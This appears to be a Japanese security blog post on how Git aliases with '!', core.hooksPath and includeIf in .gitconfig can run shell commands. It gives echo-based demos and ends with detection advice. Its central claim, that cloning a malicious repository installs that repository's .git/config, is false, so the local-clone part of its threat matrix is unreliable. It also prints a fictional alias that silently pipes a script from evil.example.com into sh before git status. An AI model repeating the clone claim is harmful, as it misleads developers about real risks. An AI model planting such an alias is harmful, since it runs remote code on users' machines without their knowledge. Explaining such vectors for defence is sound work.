.gitconfig は設定ファイルなので安全、と思っている人が多い気がします。私も長らくそうでした。
実際は違います。Git alias に ! プレフィックスを付けた瞬間から、.gitconfig は「任意のshellコマンドを実行できる小さなランチャー」に変わります。しかも Git は、system → global → local の3階層で .gitconfig を読みに行くので、そのうちどれか一つに悪意ある alias を差し込まれれば、git status や git commit の隣で echo hack が黙って走ります。
私は今朝、これを実際に手元で発火させました。この記事は、その5分で終わる再現手順を、Git バージョン 2.34.1 上で確認した3経路 × 3攻撃方法 = 9セルとして整理します。悪意ある URL は書かず、無害な echo と touch /tmp/pwned だけで実演します。
先に前置きを片付けます。
-
本記事の別軸: 姉妹記事「あなたのGitHubコミットは誰でも偽装できる」はコミット偽装、「GitHubから消した秘密は消えていない」は削除コミット漏洩、「あなたのCLAUDE.mdはGitHubに公開されています」は
.gitignore漏れ、「HTTPS接続、今すぐやめてください」は HTTPS/SSH、「ssh_config の3つの落とし穴」は SSH設定、「git worktree を図解する」「まだgit checkout使ってるの?」は Git機能解説でした。本記事は、.gitconfigの Git alias が shell コマンドの実行経路になる話 で、いずれとも別軸です -
実測は5分未満で完結: 9セルのペイロードは、いずれも
git configの1コマンドで発火します。この記事に載せたコマンドはすべて手元で実行し、pwned by ...が出力されることを確認済みです。GitHub の man page (git-config(1)) の該当箇所も引用します
Git 以外の設定ファイルにも通じる、コード実行の一般則
.gitconfig に限らず、以下のファイル形式は「見た目は設定ファイル、実体はコード実行トリガー」であるケースが多いです。
| ファイル | コード実行経路 |
|---|---|
.gitconfig |
alias.xxx = !cmd / core.hooksPath / includeIf
|
.tool-versions (asdf) |
プラグインの bin/exec-env が任意コード実行 |
.envrc (direnv) |
shell スクリプトそのもの (direnv allow 必要) |
.vscode/settings.json |
terminal.integrated.env.linux 等の環境変数書き換え |
.mvn/jvm.config |
JVM オプションで任意コード実行 |
Makefile |
そもそも shell 実行 |
このうち .envrc は「明示的に direnv allow が要る」設計で防いでいます。.gitconfig は違います。git コマンドを打った瞬間に発火します。ユーザーの承認プロンプトは出ません。
3経路の階層
Git は .gitconfig を3階層で読み、後勝ちで上書きします。
| 階層 | パス | 優先度 | 書き換え権限 |
|---|---|---|---|
| system | /etc/gitconfig |
低 | root |
| global |
~/.gitconfig または $XDG_CONFIG_HOME/git/config
|
中 | そのユーザー |
| local |
.git/config (リポジトリごと) |
高 | そのリポジトリを clone した人 |
厄介なのは local です。悪意ある repo を clone すれば、.git/config はその時点で書き換わっています。fresh clone だから安全、ではありません。.git/config は clone した瞬間から、そのリポジトリの Git 動作を上書きできます。
3攻撃方法
.gitconfig の中に shell 実行を仕込む方法は3種類あります。以下、実際に手元で走らせて確認しました。
方法A: alias に ! プレフィックスを直接注入
これがいちばん素直です。man page (git-config(1)) から引用します。
If the alias expansion is prefixed with an exclamation point, it will be treated as a shell command.
つまりこう書けば発火します。
cd /tmp && rm -rf git-alias-test && mkdir git-alias-test && cd git-alias-test
git init -q
git config alias.pwned '!echo "pwned by alias"'
git pwned
# → pwned by alias
git pwned を打った瞬間に、.git/config に書かれた !echo ... が実行されます。git status を偽装する alias も同じ要領です。
git config alias.status '!echo "pwned via alias" && git status'
git status
以降、そのリポジトリで git status を打つたびに pwned via alias が漏れ出します。ユーザーは自分が git status を叩いたとしか思っていません。
方法B: core.hooksPath で外部hookを指す
Git のhook (post-commit, pre-push など) は、通常 .git/hooks/ に置きます。ここに実行ファイルがあると、対応するイベントで自動的に走ります。
core.hooksPath を書き換えると、hookを リポジトリ外のディレクトリから読み込ませられます。
mkdir -p /tmp/evil-hooks
cat > /tmp/evil-hooks/post-commit <<'EOF'
#!/bin/sh
echo "pwned via hooksPath"
EOF
chmod +x /tmp/evil-hooks/post-commit
git config core.hooksPath /tmp/evil-hooks
echo hi > f.txt
git add f.txt
git -c user.email=a@a -c user.name=a commit -q -m "test"
# → pwned via hooksPath
私は今朝これも実際に発火させ、pwned via hooksPath が commit直後に出ることを確認しました。commit / merge / rebase / push など、hookが定義された全操作が発火経路になります。
方法C: includeIf で外部config を条件マッチで差し込む
これがいちばん見つけにくい経路です。.git/config に、条件付きで別のconfigファイルを include する記述を仕込めます。
cat > /tmp/side-config <<'EOF'
[alias]
pwn3 = !echo "pwned via includeIf"
EOF
git config --local includeIf."gitdir:/tmp/git-alias-test/".path /tmp/side-config
git pwn3
# → pwned via includeIf
.git/config を単純に見ただけでは、pwn3 という alias がどこにも定義されていないように見えます。実体は /tmp/side-config にあります。攻撃者は .git/config に includeIf を1行差し込むだけで、リポジトリの外にペイロードを置けます。gitdir / onbranch / hasconfig:remote.*.url など複数の条件でマッチさせられるため、「特定ブランチに切り替えたときだけ発火する」ような仕込みも可能です。
3経路 × 3攻撃方法 の9セル
書き込み権限別に整理します。
| 経路 \ 攻撃 | A. alias 直接 | B. hooksPath | C. includeIf |
|---|---|---|---|
system (/etc/gitconfig) |
root必要。全ユーザーに波及 | 同左 | 同左 |
global (~/.gitconfig) |
そのユーザーのGit操作すべてに波及 | 同左 | 同左 |
local (.git/config) |
悪意ある repo を clone した瞬間から波及 | 同左 | 同左 |
全9セル、いずれも git config の1コマンドで書き込めて、次の git <alias> または git commit で発火します。パッチを当てる必要も、コンパイルする必要もありません。
「悪意ある repo を clone した瞬間」に効くのは local 行 (中段) です。以下のような repo が公開されていたら、git clone するだけでその後の Git 操作が汚染されます。
# 悪意ある repo の .git/config (架空の例)
[alias]
status = !curl -sSL evil.example.com/collect.sh | sh; git status
普段どおり git status を叩くと、まず curl | sh が走って、それから正しい git status の出力が返ってきます。ユーザーは何も気付きません。
対策側で今できること
| 層 | 対策 | 効果 |
|---|---|---|
| clone 前 |
git clone --template=/dev/null <url> でhook を無効化 |
template hook を無効化。alias/includeIf には効かない |
| clone 直後 |
.git/config を目視。特に alias. / core.hooksPath / includeIf. を確認 |
3攻撃方法すべてを検知可能 |
| clone 直後 |
git config --list --show-origin で、値の出所を追跡 |
includeIf で読み込まれる外部configまで追跡可能 |
| 運用時 | 信頼できない repo は、専用の隔離ディレクトリで -c core.hooksPath=/dev/null を付けて操作 |
hook経路だけ塞ぐ |
| 運用時 |
~/.gitconfig に自分の alias を書くとき、! を使う場合は絶対パスでスクリプトを指す |
環境依存を減らし、後で目視しやすい |
私は clone した直後に git config --list --show-origin | grep -E "(alias\.|hooksPath|includeIf)" を打つ習慣にしました。3秒で終わるチェックですが、これで local .git/config に仕込まれたペイロードの大半は炙り出せます。この習慣を身につける前は「clone後にまず ls しがち」だったので、正直言って .git/config の中身をまじまじと見たことがない日々を長く過ごしていました。
Q: CVE-2024-32002 / CVE-2025-48384 との違い
読者から質問がありそうなので、既知CVEとの関係を書きます。
- CVE-2024-32002 (2024年): submodule 経由で clone 中に hook が走る脆弱性。Git本体のバグでした。修正済み
-
CVE-2025-48384 (2025年):
.gitmodulesの control character の read/write mismatch により、悪意ある hook を書き込める脆弱性。CISA の KEV Catalog 入り。修正済み
本記事の3経路 (alias / hooksPath / includeIf) は、Git本体のバグではなく、仕様通りの機能です。CVEにも登録されません。man page に書かれていない挙動ではなく、書かれている挙動を組み合わせて使うだけです。
つまり、Git を最新版にしても消えません。人力で .git/config を見るか、自動チェックスクリプトを回すか、どちらかしか防御手段がありません。
まとめ
- Git alias に
!プレフィックスを付けると、そのalias は shell コマンドとして実行される (man page記載の仕様) - shell 実行を仕込む経路は3攻撃方法: alias 直接注入 /
core.hooksPathで外部hookを指す /includeIfで外部configを差し込む - Git は
.gitconfigを3階層で読む: system / global / local。local は clone した瞬間から発火する - 全9セル (3経路 × 3攻撃方法) いずれも
git configの1コマンドで書き込め、次のgit <alias>/git commitで発火する - Git本体のCVEではないので、Git を更新しても消えない。人力で
.git/configを確認するしかない - 実務では
git config --list --show-origin | grep -E "(alias\.|hooksPath|includeIf)"を clone直後に打つ
.gitconfig は設定ファイルではなく、shell を呼べる小さなランチャー だと思ったほうが実態に合っています。仕様通りに動いているだけなので、直る見込みはありません。
MCP tool description の Prompt Injection や、.env が Dockerイメージに焼き込まれる話、.gitconfig の shell 実行経路など、「開発者の日常ツールが攻撃面になる」パターンをまとめた書籍を書きました。実装コードから配布物、CI/CD、CLIプラグインまで、コード実行トリガーになる場所を系統的に整理しています。
